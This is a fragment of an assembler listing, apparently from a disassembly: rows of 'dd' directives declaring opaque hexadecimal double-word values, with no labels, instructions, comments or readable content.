		dd 1B38A1BAh, 0DAEC4813h, 60687100h, 0BEC96443h, 874667Bh
		dd 840B21DEh, 873B6869h, 1B67DD55h, 4D9C16C0h, 302273FBh
		dd 0F9D03697h, 0D76CEA44h, 8C94C078h, 71056004h, 0D3626E22h
		dd 568EB21h, 0CD2A30h, 69EEBF72h, 370F1F9Ah, 7E40FD00h
		dd 0AFE3A455h, 189B6299h, 0EB42F347h, 0D5DFF403h, 0BEA4F9E0h
		dd 2080AD60h, 0D8D94F4Dh, 2DB4F098h, 10D62B37h,	0E80F8D0h
		dd 0EEB0F7h, 4E88CDFBh,	2BF24636h, 0A0011700h, 0CB63977Eh
		dd 0FDC81C2Ch, 15D20013h, 0CEE70671h, 0B33D2D09h, 32330085h
		dd 0EBE403h, 0F140820Bh, 12B16FE9h, 0BC8DF800h,	0F03A8F24h
		dd 66140018h, 0E3D57137h, 0EC00EFEDh, 8660E14Bh, 0F8C26777h
		dd 1D470006h, 0F22293B5h, 172CB7Ah, 0BB004B98h,	0E46B2B27h
		dd 0C2ACA9h, 990D8722h,	0CA849303h, 0F0A83D00h,	0AFC0DA46h
		dd 9B160663h, 0EEB5C122h, 0CC7CC5EAh, 7C37DB3Fh, 87CAE016h
		dd 57CB1500h, 1235E24h,	6C6FC0Ah, 98FF206Bh, 3E215309h
		dd 750A031Bh, 1E36ACFEh, 7D6F02F8h, 0C88B9400h,	492F4873h
		dd 0CA1A0074h, 2869BB57h, 43046668h, 277BC884h,	507E2406h
		dd 81C10201h, 0CA93D756h, 30BE4842h, 0F9100A1Ch, 5E27EC6h
		dd 8CD87600h, 6EB00098h, 3AF76DD6h, 202018CAh, 0FBA3027Eh
		dd 44484F11h, 4B9753E0h, 7E0E18C3h, 7F25AB19h, 8F100091h
		dd 260AA3BDh, 3A3ABB4Bh, 21323227h, 6EBB60E6h, 31940509h
		dd 185393C0h, 24AB5824h, 0BEAD80h, 0FECD5BF7h, 548E7D5Ah
		dd 71002D75h, 0D2ED9A33h, 75F64978h, 51D6003Dh,	131ACF1h
		dd 0C000FEE1h, 0CEEACFB9h, 0B1DF4Ah, 0C86AE2C2h, 0A66594E8h
		dd 0D268F200h, 0A898BEBFh, 0E3FD0028h, 255D8D0Ch, 9C000A9Eh
		dd 0FC89CD95h, 0E384052h, 2122F0B3h, 463A0680h,	1C1E43C9h
		dd 99FBFEDFh, 3208EEA7h, 80E02182h, 0B060A443h,	37015041h
		dd 2A2C81CDh, 0C3D88958h, 5991ED9Fh, 43C880F3h,	8CC6DF13h
		dd 58E13D44h, 17009687h, 0D3C3BF23h, 0EE7708F5h, 518D6C2Eh
		dd 0C970Fh, 0AC06B2EDh,	6E811D26h, 5A40305Bh, 0F80177E8h
		dd 28EF2C1h, 898E2B9h, 0F0042151h, 0CB5D7700h, 806CEB09h
		dd 412E066Dh, 80AD79E1h, 7CEC28C0h, 3F67AC1Ah, 64D38F75h
		dd 0BF302BA2h, 741C0020h, 8EF0CF5Bh, 0AB08DF82h, 33335BDh
		dd 0BE1CB41h, 0C31E059h, 102C21B3h, 467B38h, 7576E592h
		dd 2B1A4259h, 96A64D04h, 0DDC04AF9h, 12250635h,	0BB4F37CDh
		dd 4968FA03h, 30D2884Dh, 125139B9h, 2A9B3400h, 16650471h
		dd 1246F48h, 0BEE78C44h, 10ECF729h, 0BDB20094h,	3ADAE55Eh
		dd 1E1C6E40h, 0ABC0A7FBh, 4E657AD0h, 0EEEC0791h, 0B0778820h
		dd 435A3D74h, 6C34211Dh, 0F28C1EF8h, 5F990E40h,	7DA253h
		dd 0E8D3CE56h, 7804F84Bh, 0EC6EC21Dh, 821CA40h,	0E689F03Fh
		dd 1907656h, 8A34967Fh,	61F9F18Bh, 0DF9560BBh, 0D8114E14h
		dd 0F20E004h, 0C9EB0098h, 5866C55Dh, 733A3212h,	2B1180C3h
		dd 0B74AD3A6h, 1F4201F8h, 21A58BD9h, 49388629h,	748DB83h
		dd 1FDE59E7h, 6AE1F18Dh, 0E341ED4Ch, 29EBE8D0h,	660F52FEh
		dd 0A1A58CF0h, 9C6F750Dh, 3111204Fh, 5E38804Dh,	6D4AA76h
		dd 0C036A383h, 5A00C1ABh, 605F8655h, 67D549h, 0C477EDC6h
		dd 3E159B7Fh, 66D63903h, 590687h, 0C8F634F9h, 0E12B8B77h
		dd 92D51E06h, 18E0C507h, 89F221E2h, 2B3062DBh, 165A18DAh
		dd 61E4714Eh, 0DB8579F5h, 76B88CA0h, 19FAD8EEh,	21C39398h
		dd 0C020D081h, 0FF1180EBh, 2631D0EBh, 64FD0CF3h, 0B2089B5Eh
		dd 0A39821C0h, 1C7ED4D0h, 41FF7A7Bh, 0DA3815F8h, 0BC4475h
		dd 6DED5DD8h, 0BB18F7C1h, 2D9057A0h, 0E038AD4Fh, 0B42B1406h
		dd 51DF9F00h, 0DBF72D3Dh, 0A2A72A42h, 0F4D30288h, 53072811h
		dd 29AEA0A2h, 5DD62F40h, 0CDDB8419h, 2183AB09h,	0C119218Eh
		dd 44790404h, 34C047C0h, 907D8AE2h, 0C818E42Ch,	0F0C02FB0h
		dd 43263ED0h, 0E96580CBh, 5A0CD0h, 0D94D8086h, 0C271489Fh
		dd 7B42B308h, 29E002BDh, 0C887ED0Eh, 0E55FB003h, 0CA04A958h
		dd 9F5E89B9h, 0CB103C80h, 78B04845h, 7AD9E504h,	6D5C077Fh
		dd 53391F20h, 3AF778Bh,	9E03011Eh, 0FDC85E82h, 0D02132Fh
		dd 924ADD59h, 9C67011Ch, 0C7A8246Ch, 3AB1A460h,	1AF6D0Bh
		dd 0E3170C34h, 859F6359h, 0A8944630h, 0B423D83Ah, 9ED40100h
		dd 3531E721h, 0E501A3Ah, 0A901F60h, 0C44C5E6Eh,	0AF98F885h
		dd 44707026h, 3C0109A3h, 9A525B1Ch, 51E8739Ch, 163737Fh
		dd 9375C34Dh, 8064B9E4h, 2681DCD9h, 260EE299h, 402CBE9Eh
		dd 0BBC86558h, 0BFB05B1Ch, 5D6C1E40h, 3731591h,	9AE1EC23h
		dd 0DA01DBAh, 290611DBh, 0E737B649h, 0ACC03019h, 0EB81ED91h
		dd 630C691Ch, 0B862140h, 3AD13A2h, 773E6AFEh, 98D411F5h
		dd 19082A44h, 0C405D672h, 229941A4h, 8DF47C19h,	7B06E2ACh
		dd 482A7B31h, 570510E6h, 0FA49342h, 54E8399Ch, 0BA151680h
		dd 55560Ch, 0BCA1EDE2h,	0C65A21E1h, 9A4038DEh, 0C4D8A2FBh
		dd 0D1649166h, 0A2F18ABh, 60460A20h, 828CCh, 0EA18C051h
		dd 9D92E1C4h, 1F479F01h, 0F1E65A80h, 0A7CD7883h, 35B24DEBh
		dd 11B63C60h, 31D08F82h, 0D6F8348Ch, 228C1556h,	2C9F00AFh
		dd 0A8512A19h, 5C6006BCh, 641FEF19h, 94CF0321h,	5DF6B158h
		dd 5F3C26C0h, 914C800h,	0F4FF42B2h, 2ADD2894h, 8ACA640h
		dd 601DFBDCh, 0E4F1DE18h
		dd 9AEBB8D9h, 7C3C9A28h, 776A183Bh, 33F11110h, 9E031873h
		dd 965AFB4Ch, 0F5083024h, 180B5221h, 0C1EBA900h, 0D065B748h
		dd 31A307EDh, 165E46h, 42D5BEA2h, 5CCE6326h, 1DEE5986h
		dd 20E490A0h, 4518A177h, 0CD894F78h, 5C283AD3h,	2250B0F8h
		dd 0AC90FE2Eh, 46849A74h, 0D0F7022Ch, 31D3263Dh, 0E89017B1h
		dd 0F8970FD0h, 69700174h, 36141854h, 208C40B4h,	849A92DAh
		dd 18E0E426h, 0DE08084Ah, 0B8980064h, 626E1226h, 0DE4F10CEh
		dd 74E210FCh, 5A6D1105h, 46A04EC8h, 0AE41FB43h,	94756024h
		dd 1B24674h, 9B3C2E26h,	6CECE742h, 0AB6B038h, 168649E1h
		dd 1D760A8Ch, 88B480C8h, 6D31351Ah, 495A2C30h, 3DC1B705h
		dd 46005FE5h, 3E163957h, 3F0C9EBEh, 79DBEDE1h, 38178D4h
		dd 2D57F8DEh, 1909D5DFh, 0A065B9E6h, 5B377D2Ch,	3A121F6Ah
		dd 19691833h, 4008438h,	0B27C1BBCh, 90C193h, 1FA39E28h
		dd 48EE0613h, 32891404h, 0F08C507Dh, 9CDF0C43h,	7849D9B9h
		dd 2B0C7100h, 1DBB6AE7h, 489B4C5Fh, 9A21C97Bh, 0C6FC4580h
		dd 0E30BA05Dh, 82F35458h, 0BB1594h, 0E6E5DA22h,	0EFE01283h
		dd 0DF320557h, 7D3421E8h, 8A78300Ch, 74340482h,	0C752640h
		dd 55791693h, 91B44B01h, 2F28D5ACh, 26E386CCh, 803CB621h
		dd 2E7B83CEh, 0F548579Fh, 0EF1300ACh, 744B1F27h, 3F3C14CBh
		dd 8F00F042h, 0CAFEC9B9h, 0D65CAC35h, 0CB988120h, 0C080B509h
		dd 480F771h, 0F48054E2h, 84E2CDh, 62DA0A08h, 7C4E29A0h
		dd 0EB24509Ah, 858030E1h, 7A0BB3CDh, 35A12C50h,	720A08ECh
		dd 51E13701h, 0B181F122h, 0D7D854DBh, 0CD0FF0D5h, 0F9D0DC34h
		dd 0C0EF9408h, 0E7340C7Ch, 73229246h, 0C742503h, 88BC5CE0h
		dd 3B95F79Dh, 0CE86B7FEh, 80878AE1h, 3DCBC01Eh,	9FE4A8F0h
		dd 407864FDh, 0F6648131h, 0D3986019h, 745D4A0Ah, 0AC048C8Bh
		dd 6C938CDAh, 8C7F890h,	0BA4E8E3h, 0BB473B40h, 0ACEF8882h
		dd 5B64A600h, 0BE540236h, 11CBFE4Eh, 49BF7868h,	138315Ch
		dd 65919606h, 5980E677h, 7385B8B7h, 0A103B999h,	808C47A7h
		dd 0E660CFC7h, 37A638h,	0FB98EDBEh, 66CDE85Bh, 0C6DA260Ch
		dd 19ED86Ah, 8310A325h,	91575FB7h, 5D002728h, 6FDC7F80h
		dd 60625CD6h, 0D8E1638h, 291030D1h, 1928048Ch, 6235D670h
		dd 209320AAh, 0F9015419h, 5FE4B598h, 0B2BB39C7h, 1FE91D00h
		dd 0F585645Ch, 23903C4Dh, 0D0E50726h, 8EA3A537h, 9D9E0480h
		dd 0A0A034D0h, 0CC5905E1h, 0C1A5942Ch, 74A71BE1h, 62029BE4h
		dd 0DBF415E4h, 84D89292h, 76609DE4h, 0E7232E0Ch, 3701162h
		dd 310C6E9Fh, 46B9A8E9h, 569B01E7h, 0E6D8A691h,	2A0C208Eh
		dd 56601841h, 80A0607Fh, 0A3B25D47h, 7600587Bh,	9D6F2A66h
		dd 2AC3E26h, 7D302BBDh,	0FCE4BE9Fh, 0B3B2E41Ch,	0E59B4100h
		dd 3A38EFF1h, 515BEBDh,	8400AC61h, 0B2A72D6Dh, 0A000E29Ch
		dd 4F22636Eh, 0B1E1E42Fh, 29883804h, 0BC286D36h, 90BDC520h
		dd 44FEEF0Bh, 48E6E468h, 7515B4FDh, 8F00881Ah, 0EFC135E9h
		dd 25008188h, 64E03ECCh, 873F6Ch, 991D9112h, 110A4C10h
		dd 94964D0Fh, 18618CFBh, 0A89803F8h, 78DA091Ch,	10318000h
		dd 6B75B904h, 3AE118DEh, 0DD361879h, 0C2FEF4Bh,	0DE01A923h
		dd 0B6FBE489h, 2707F197h, 6AEA5040h, 0B900E155h, 0E3544BCAh
		dd 1F2AFA4h, 1F15F5ECh,	625732FFh, 92D509E0h, 0E218210Fh
		dd 8828FE49h, 6DD15B0Eh, 9129EB6Dh, 2E802FA8h, 25D67619h
		dd 268D0187h, 32694919h, 357B58ECh, 0C88168B3h,	400CD96h
		dd 9D1331D2h, 0AC08949Ch, 5D070DA9h, 93ECF049h,	6A185500h
		dd 0A16540E1h, 9AFA0F8Ch, 0BA21C830h, 0C420382Bh, 0BE01A69Bh
		dd 21E7D1DBh, 6089FFB2h, 74109067h, 1D785C6Dh, 0B1BA131Bh
		dd 1EC9E068h, 0C4AC9C5Ah, 18980677h, 941D52B6h,	0CB9310h
		dd 461C31ECh, 7757A58Eh, 0CC7727A0h, 4AFF031h, 47D5203Dh
		dd 4A10D618h, 0E205C0C3h, 0D0E4CA29h, 2046D1BCh, 7907D62h
		dd 0FD8CA067h, 395DF85Ch, 4380A0FBh, 8A34B8Ah, 0B40049B3h
		dd 318C17ACh, 25D0CD0Ah, 0AC8480B0h, 0E43540A9h, 0FCD25Ch
		dd 8B4977E8h, 790AC49Ch, 0F0638107h, 52B06CDDh,	53F7EC3h
		dd 87A21F5Fh, 62C0C06Dh, 0A9C1A0A3h, 4F92B5A7h,	5801FC38h
		dd 16822E0Eh, 934AF0B4h, 0DC0CC051h, 0DB5835BAh, 5E920068h
		dd 0D5E3E97Eh, 0D73102CFh, 0F74AD469h, 78B0C058h, 470018FAh
		dd 0E380485Eh, 910745Fh, 1BE65281h, 1E9B5000h, 5A50121Ch
		dd 601467E4h, 89F47C92h, 0BD54E822h, 3C17499Ah,	80FAC015h
		dd 0DEA26001h, 0CC40FC5Ah, 657E76CEh, 5652D909h, 9A08A0F7h
		dd 571CDDh, 2195E1Eh, 1FE05F06h, 0B1FB2900h, 580E75EEh
		dd 0B09E003Ah, 0CA2EA2BBh, 6268CB88h, 185C0411h, 10BE2D15h
		dd 1400196Bh, 82ED3C71h, 0C4A62Bh, 5B3F944Fh, 0A8E26FA7h
		dd 0A01B1201h, 79ED5E33h, 76709C8h, 0C46BC39Fh,	0EC7B0CEh
		dd 321CB676h, 2800B1ACh, 0A40CD30h, 0D6220007h,	0D9E70527h
		dd 0F000EA99h, 0AFFDD789h, 9D4992h, 6C8ABAB1h, 0D4C2EB2Eh
		dd 6000898h, 0FFDBA68Bh, 7CB469A9h, 5F340010h, 4E1BE7C0h
		dd 0E51C0427h, 19C0098Fh, 0A2466952h, 80D20045h, 9CF512D8h
		dd 0B6006A72h, 5B9F2331h, 6C192Fh, 24D46730h, 7E9157F7h
		dd 86A15400h, 4C75FB3Bh, 61E7A2Eh, 0F53E7706h, 3506505Eh
		dd 401F5C5Fh, 788A0011h, 46ACA31Bh, 2F079FFBh, 4D3F3653h
		dd 0E2C27260h, 0AD350175h, 0AA503932h, 0D203C80Ah, 120DBA01h
		dd 94138BEBh, 0F9FA60h,	0CBC1D18Ch, 11A2F232h, 590D5000h
		dd 26D3A823h, 0E01804E9h, 0C069067Ch, 9A3257F6h, 0BBB7D51Dh
		dd 9A09E7D2h, 66BC8E0Ch, 0FF0C0CBh, 583D03A4h, 0D3FB83C0h
		dd 8A00A5C3h, 0EA016E5h, 109798h, 6488ADA2h, 0F439D624h
		dd 0C5FA38C0h, 4A35917h, 4BD0EE4Ch, 851490AEh, 0FA00C825h
		dd 0B1907DB7h, 0E2F080h, 48CD165Fh, 0C77C2B84h,	802C3439h
		dd 6DE819C1h, 0D1062Ah,	7093FEE6h, 0C4F0854Ah, 408D2024h
		dd 5CBEB180h, 3A6AD46h,	26019EB8h, 70887C1Bh, 6100391Ch
		dd 9B54E115h, 0FF0F58Ah, 0DCC81AD1h, 44248120h,	1B0021ACh
		dd 0F47C7672h, 1236356h, 913BB812h, 0E3531C79h,	600DD3B0h
		dd 7044602h, 0E114C8EEh, 0F080C406h, 0B2C7F50Ah, 202916Ch
		dd 0F92B8CCBh, 99B880FCh, 50BACC86h, 0E4F83Ah, 3D914DCAh
		dd 5ED0AAA3h, 363819C0h, 189BDE61h, 59FA117Bh, 0EE287A6h
		dd 0F429F500h, 8E4C9ABEh, 569C0085h, 3E3CB764h,	7201EC48h
		dd 95D5F1CDh, 39C8F4A9h, 0D3CE3C97h, 0FC111587h, 547180DFh
		dd 14E62F88h, 0A90D0600h, 52D8A4C4h, 0DFA4A8CFh, 0DB2F0023h
		dd 0C7C5660Eh, 0DD006802h, 737D124Eh, 3335639Eh, 1D9E1C3h
		dd 0D4EE79B8h, 0B3B04F00h, 8B5AC287h, 0AD330062h, 0CCA96E20h
		dd 3C0026F3h, 0C8E0902Fh, 60F2C95Ch, 101570BAh,	450778E7h
		dd 0B6B5730Dh, 39F17270h, 8532016Ah, 0DBC07B77h, 146DF84Dh
		dd 92833Dh, 0D51058ACh,	3E2147h, 43798C20h, 895C370h, 9AFF8E14h
		dd 9F1300A8h, 5E389EDFh, 1B443ACAh, 0D8A56A8Eh,	75B08118h
		dd 0C9261C00h, 0D04DD9C0h, 9AE200C5h, 22BB43C8h, 0A900A845h
		dd 584840FDh, 0EC7E52CFh, 15A3000Eh, 0C451DE5Bh, 113ECE6Fh
		dd 0CFAC801Fh, 0B61091A1h, 355C00F6h, 0E203BA05h, 98A009AAh
		dd 0C30030F4h, 0CF4CC449h, 6A152Bh, 0FF721E1Ah,	0A580AA7Fh
		dd 6CCC8700h
		dd 2A04C421h, 4C274825h, 23B06700h, 0B3D3F01Dh,	0E18E3Dh
		dd 0FAF9367Bh, 0FAB48D4h, 2AC2F242h, 6DF03AE0h,	960088E0h
		dd 0D2017968h, 1E233666h, 8061FFEFh, 60478CE5h,	532C228h
		dd 60E6285Dh, 3C8261Ch,	0AF208D3Fh, 55E3D6A9h, 0AB740880h
		dd 7300527Eh, 50DD4AC3h, 1F665E2h, 433930EDh, 0D0E75408h
		dd 0DA0AF91Ah, 0B0A1A514h, 12716100h, 4BD45Fh, 0FE0F2B8Ah
		dd 5360F869h, 5CD58809h, 3CF4016Ch, 0D9E87F18h,	902A600Dh
		dd 0F23796Eh, 40484E01h, 3127F3A1h, 0AA008C47h,	1D0EDF3Fh
		dd 0F0E78520h, 0F0A5EB19h, 0E360BB1Fh, 0C5006D2Eh, 0E6732D04h
		dd 7972304Ah, 66BD929h,	3CE1ED01h, 9C29D77h, 7DFF9FE0h
		dd 32640079h, 7890865h,	0B00347Fh, 867333B5h, 28A4499h
		dd 0D3CADDFFh, 68687DC0h, 0D60287C6h, 8EE111F7h, 0C3DC487Ch
		dd 0D1809B2h, 0F002535Fh, 78607352h, 11D2F8E6h,	10EAAB00h
		dd 2609ACDEh, 81042FABh, 970561AFh, 0E1618022h,	16F0D787h
		dd 0D8DA0BE3h, 1800CD08h, 544A49A6h, 0C00056ECh, 0E7EDF37Bh
		dd 1CE8806Ch, 0BF66CA2Fh, 406A0A00h, 0D7353460h, 0D47B8914h
		dd 3A3101B0h, 17D67916h, 0D9F2C4h, 0B332FADAh, 566694E1h
		dd 0B41258h, 0CC503A16h, 0E7E04Eh, 0E9FF11ABh, 7E2371AEh
		dd 0B4D86400h, 880954B2h, 5DEA1880h, 69BE60B7h,	3DD72B00h
		dd 5C1BA68Ah, 8FE200DEh, 398EB638h, 376359Bh, 23732C00h
		dd 5FACCD9Eh, 7D280156h, 0A7B98A37h, 1C4E811Fh,	0BDD77652h
		dd 0DA5CCC40h, 0D31005Ah, 53A64370h, 0CB7D355Dh, 7651F400h
		dd 16ECCE9Fh, 0BAF8056Fh, 80F07115h, 5C8FBF4Bh,	3260F700h
		dd 0C28A3F96h, 7BF30049h, 66907AABh, 6812433Bh,	0D80A930Bh
		dd 0A902D8CFh, 80E43D0Eh, 9D0CD189h, 32CF80Bh, 0C187BE9Fh
		dd 69B0D68Eh, 40095E6h,	8630D982h, 0DA4B1Fh, 0C6F5609Ah
		dd 0E6D0413Ch, 0B0BE1100h, 1DEEF393h, 2D7B0E5Dh, 2F2F7D09h
		dd 56CFB480h, 33005AD9h, 0B1DA68BFh, 61435Ch, 3A74AE4h
		dd 4124B973h, 39A66400h, 0BF4C0CFh, 132509EAh, 0AA00665Eh
		dd 4BB1266Eh, 0CC9AA12Eh, 8F332280h, 0AB2FEFh, 0DA1C768Dh
		dd 0A3130BB8h, 0BE80CF4Fh, 84A8A5h, 0ADA1AF1Ah,	40A4A91Dh
		dd 0D3B0E000h, 0CD82B8ABh, 9E880059h, 0DF8FFE71h, 8A00E66Ah
		dd 62A36025h, 74F6BF2Fh, 2522F2DCh, 0C00BC2Ch, 0E3972D31h
		dd 5E9FAC07h, 0B247B4F5h, 96BE9041h, 0A27A180h,	469738BCh
		dd 7401E43Eh, 4BA2E21Fh, 0A881C080h, 7FEF92EDh,	3AD203F1h
		dd 0C6D77A11h, 0DD67F5C0h, 8D250B00h, 0AB152252h, 0B13300B9h
		dd 0DCE239F7h, 0BB0C79CEh, 90992E8Ah, 0F69F0E2Fh, 9680BCEFh
		dd 910B08DAh, 8E0288C1h, 0C9803746h, 0EBCB79D7h, 210082F0h
		dd 81D5A88Ah, 30B820h, 45846C7h, 872966D7h, 2FD0F602h
		dd 81202259h, 9779377Ch, 761BE18Dh, 0AEC83052h,	0A13C3302h
		dd 0C0810432h, 94C287h,	0C6DE53FAh, 3C7EB160h, 1E410203h
		dd 0A844ADA0h, 0EC3D6907h, 8A9801F1h, 0B64683Fh, 0CC83DC06h
		dd 62B8B903h, 0A022EDh,	71DB8271h, 0DCBE19D0h, 0A621BF19h
		dd 2180E508h, 7D71D35Bh, 4300F5E2h, 0BE4E9666h,	1C10D02h
		dd 809567C9h, 0C76F3537h, 545950A0h, 0DBB52307h, 0EEF0DFE1h
		dd 0C0D6A860h, 0E23E7DE8h, 0B94BD455h, 0EE900459h, 7108D818h
		dd 0C4B619D1h, 0D05440E8h, 7C45971h, 299F15C1h,	51EE537Ch
		dd 0F7B45900h, 0E54630DAh, 15A0C5B3h, 0C8B440A7h, 31695680h
		dd 2B008EEAh, 0FF347376h, 0F0CD89Ch, 6630A36Ah,	573830FDh
		dd 0F863763Bh, 0B8A2ADF0h, 0C0F4EA23h, 17E20C10h, 3A00FD8Ch
		dd 0B6F594D7h, 87D222h,	0D5C8F455h, 3FD0DA3Ch, 920BA000h
		dd 373BAC7Ch, 87F300B3h, 0C1B1AF5Fh, 0C01BA69h,	5A86DEBCh
		dd 0DC607747h, 447000D0h, 0DC4D2B39h, 6674FD19h, 9B7635EAh
		dd 0EC4A9D00h, 0E429094Fh, 61087417h, 0F59A2168h, 7A0EF49Dh
		dd 61E6B500h, 8E88B05Fh, 7F2B0338h, 2EC4E77Bh, 150E30A6h
		dd 0C21B913Ch, 4328B027h, 0F0830B7h, 91347421h,	8D1B5D00h
		dd 0D9A6F67Ch, 0CCA81865h, 30E95075h, 6FFC28C6h, 91843B81h
		dd 90CED883h, 3CE8B725h, 0D907096Bh, 5FAF6DD0h,	1A7826A0h
		dd 369C7E5Bh, 7038DA87h, 361B4674h, 0FF11DDC4h,	0ABE9A690h
		dd 0D07F0C41h, 0DB086963h, 9E1D21C0h, 27BAA6h, 0AEBF6CE1h
		dd 637C1E4Bh, 0AF082A00h, 7ED93117h, 0C34218DDh, 21BC69D1h
		dd 5F32EE00h, 57DF0901h, 0B408CC69h, 1900E521h,	33ACA2EEh
		dd 2AADD458h, 37882BAAh, 87E95F5Ah, 68F862DDh, 0A4ED8480h
		dd 65502310h, 0D82681D8h, 803E3C14h, 0F9C593EEh, 36EBC1Dh
		dd 7C30A657h, 0DCF8F0DFh, 2004BD9h, 1BC1D161h, 772432h
		dd 338BC2ACh, 18E19E60h, 3081CF00h, 0A020096Eh,	3978C8h
		dd 96CC2A65h, 0C46DE5B6h, 1FCB0E4Ch, 0D087F39Fh, 801F8260h
		dd 0A3DC0174h, 4C45014Dh, 0FFDB5E7Bh, 26EAF071h, 2B211502h
		dd 0E053D088h, 0B7079C1h, 0A6C23B3Ch, 0DDCD1502h, 0A78902C0h
		dd 2E47BD00h, 0F8F9336Ch, 79240004h, 101F8BECh,	8D714988h
		dd 0EFB5400h, 0A9EE286Ch, 4AD53855h, 24508C00h,	104DC0B3h
		dd 0BF401C1Fh, 56D8381Eh, 615C7F18h, 0E2A660F8h, 0A0FFF082h
		dd 2C88338h, 8CF3BC5Eh,	0B00460C0h, 458C0A2h, 0B4D5EA99h
		dd 17062B1Eh, 5CE68900h, 122D6BFBh, 39ED72h, 0EACF011Dh
		dd 0FE601CCCh, 0B8FFBF60h, 9CEF03E4h, 0C8170D14h, 12CD1900h
		dd 919893FEh, 3AEC036Ah, 37273D3Ch, 4733EDC0h, 5B2B600Fh
		dd 11958FFEh, 41D01618h, 67057275h, 0D42BE02Ch,	99E658C0h
		dd 0E21515FAh, 0CA03406Bh, 928DAAF0h, 7EBA0FC8h, 0EA4E3A0Eh
		dd 7C9400A0h, 0A8BD17h,	0D71E1614h, 0F8A2716Dh,	12E0FEF2h
		dd 85AF8C00h, 6C32A793h, 7D78B6h, 2E7F6AB0h, 0E9A9DDE6h
		dd 0CEF31400h, 0DE09F41Bh, 226303D2h, 85AD4F76h, 31D10F80h
		dd 34EA4000h, 9207C619h, 0A9330074h, 3983CFD9h,	0D490F406h
		dd 0A713EB18h, 75AADE1Ah, 1EEA00E6h, 5CF265BCh,	0A3038791h
		dd 93A5DCAEh, 20AAD8EEh, 94D806E4h, 18DD4D57h, 0BBA72F3Bh
		dd 39669279h, 1C9B4E03h, 0EF9CD87Fh, 3A0EE43Ch,	0C783F2AFh
		dd 6EF467E8h, 9D0FA077h, 0E0D505D2h, 0ACAAEFF3h, 52120095h
		dd 0DE1FEB7Dh, 53004611h, 7BA651B0h, 0E3ED9BAh,	0BBB529EDh
		dd 0F98E0036h, 4780F5B9h, 84E01A00h, 2B75344Ah,	8E400CBh
		dd 7BB7D998h, 0BA0018A0h, 0E67CCD8h, 777F7CFh, 2FC68F94h
		dd 72F1601Eh, 83009793h, 0F24282E8h, 4462F6h, 4D18B5AAh
		dd 5DB912C6h, 0FD3C190Ch, 81104Ch, 25CCDFDCh, 0E08E823Eh
		dd 79507C38h, 0DA372000h, 0CE189CE9h, 190200A1h, 0D0170C1Eh
		dd 16073FA4h, 9293A6CFh, 0A3E2FBE7h, 8A36C07Ch,	0D3BB15E2h
		dd 3E03B89Eh, 80FC58D6h, 823113Dh, 89AA6AB3h, 3B80E252h
		dd 0C566CD77h, 6763821Dh, 8480B0DFh, 0A3D49175h, 0DF4D00F8h
		dd 1ABA5C39h, 0B0004A9Ch, 1918032Ah, 0C3099Eh, 496E642h
		dd 0F2556534h, 21108607h, 0FCC06839h, 0F704EB4h, 0C0FB7282h
		dd 6B7BBA1h, 0AA43F438h, 9830747Eh, 2E9E9080h, 0AE7600C2h
		dd 0E0D634D9h, 0B500FB26h, 30252CD1h, 0A9B7FF8h, 0E99B213h
		dd 0CC5E8180h, 0F81E576Bh, 1200FCABh, 7B65DEBEh, 0FEA19805h
		dd 0C8970041h, 0AFC071F9h, 0B300D5B6h, 3EA523A8h, 0C2A329h
		dd 53508FD3h, 3CC6252h,	9C000F7Ah, 6104B10Ah, 27AE1E4h
		dd 9E3EA635h, 1EC117DAh
		dd 4E16ECD7h, 85DD8700h, 0C861F07h, 223400C3h, 313003B4h
		dd 7500A088h, 97DF4F25h, 8138E8h, 0B88591C1h, 6547D7CAh
		dd 3FA55D38h, 39F59225h, 35EFC500h, 0DABF5Ch, 83C48944h
		dd 454C5DF8h, 5987BE00h, 866702ABh, 184A0093h, 0AFBAAA11h
		dd 1C001AD3h, 0DFC3C4BDh, 42301Eh, 0E7C19A91h, 18E84021h
		dd 670FBF76h, 40B4EB2Eh, 5E3C55A4h, 0B15701AEh,	0F5AA6C49h
		dd 35F8F7F7h, 0FC008752h, 1C37CB69h, 5CDE4E3Bh,	0F04628Ch
		dd 8CAF9AEEh, 8400EC04h, 0D4C8401Ah, 4CCD5F8Eh,	34006997h
		dd 80B21971h, 0C5004F6Fh, 39089BB0h, 21193E4h, 244C7DB8h
		dd 0DE635E05h, 0DBD5F6B8h, 30F56000h, 0F4B866B4h, 7C381D0Dh
		dd 0B1280057h, 0F9F8EBEh, 0BD037C98h, 179562FAh, 909C60D6h
		dd 7A6970BEh, 9B863203h, 0F89F075Ah, 0A0880D62h, 3B216ECh
		dd 0EF9ADE7Dh, 0ADD998ACh, 8057C038h, 7E621101h, 286425E0h
		dd 2DD4CCh, 86AFD9C9h, 188FB1A3h, 4A073D7Ah, 0E1388003h
		dd 30EED430h, 894B00C0h, 0C1468751h, 109B15Eh, 2391C87Ch
		dd 0C9DB3BB4h, 1180BBE1h, 0ADEAB824h, 0CEE6C0EBh, 78A73A0Fh
		dd 74FFE057h, 0FCCC3Dh,	0A494A3B6h, 0CBC49E53h,	582429C0h
		dd 2A1C28F1h, 2584239Bh, 0E2E0181Ah, 0D0A0531Fh, 0D0C4DF1h
		dd 393FD0BEh, 65740078h, 0F52D02C1h, 0DD1CA4A6h, 3840FEF2h
		dd 2F431837h, 98887473h, 0FF8F3B5Ch, 745701Dh, 20EEC9B1h
		dd 0C8E96D1Ch, 0D07BE700h, 5236B5F0h, 3AE10941h, 4807B83Eh
		dd 0EC423E96h, 58601A05h, 0BF1E9F0Fh, 2A0087E0h, 230292DFh
		dd 150537ABh, 87AA8720h, 9E3FC03Ch, 0D0DF0BCDh,	0C3178A05h
		dd 984FD840h, 749662ABh, 0AD840188h, 0C1AAF246h, 64BCD83Dh
		dd 0F10B4803h, 1948723h, 89DDE768h, 800EF4A6h, 0F271E350h
		dd 141374EEh, 34A09E7Ah, 23571C01h, 0F11D9266h,	3D4052A7h
		dd 0A8018819h, 6490D030h, 741140C0h, 6BC6E9h, 0D954AABFh
		dd 98F67392h, 17B90701h, 8FDB95B0h, 0E113ECh, 0ECA83D0Bh
		dd 32752460h, 50184B07h, 2D333CE7h, 503E8DFh, 0C0CB0066h
		dd 0B00C45D7h, 3A7087A3h, 0BD318B00h, 8398C14h,	85990072h
		dd 6D5592F1h, 637891ADh, 44CF0F00h, 0C2723F88h,	621B002Fh
		dd 9E0EDA33h, 2400380Ch, 456F1EC8h, 1668FFBh, 3E2025F5h
		dd 0C4D094B2h, 0B01F1A9Fh, 0C7405C65h, 2D714B43h, 282079Dh
		dd 80CE3EBEh, 0E6FF9F75h, 0FAEA1E00h, 0B7803065h, 0D0480025h
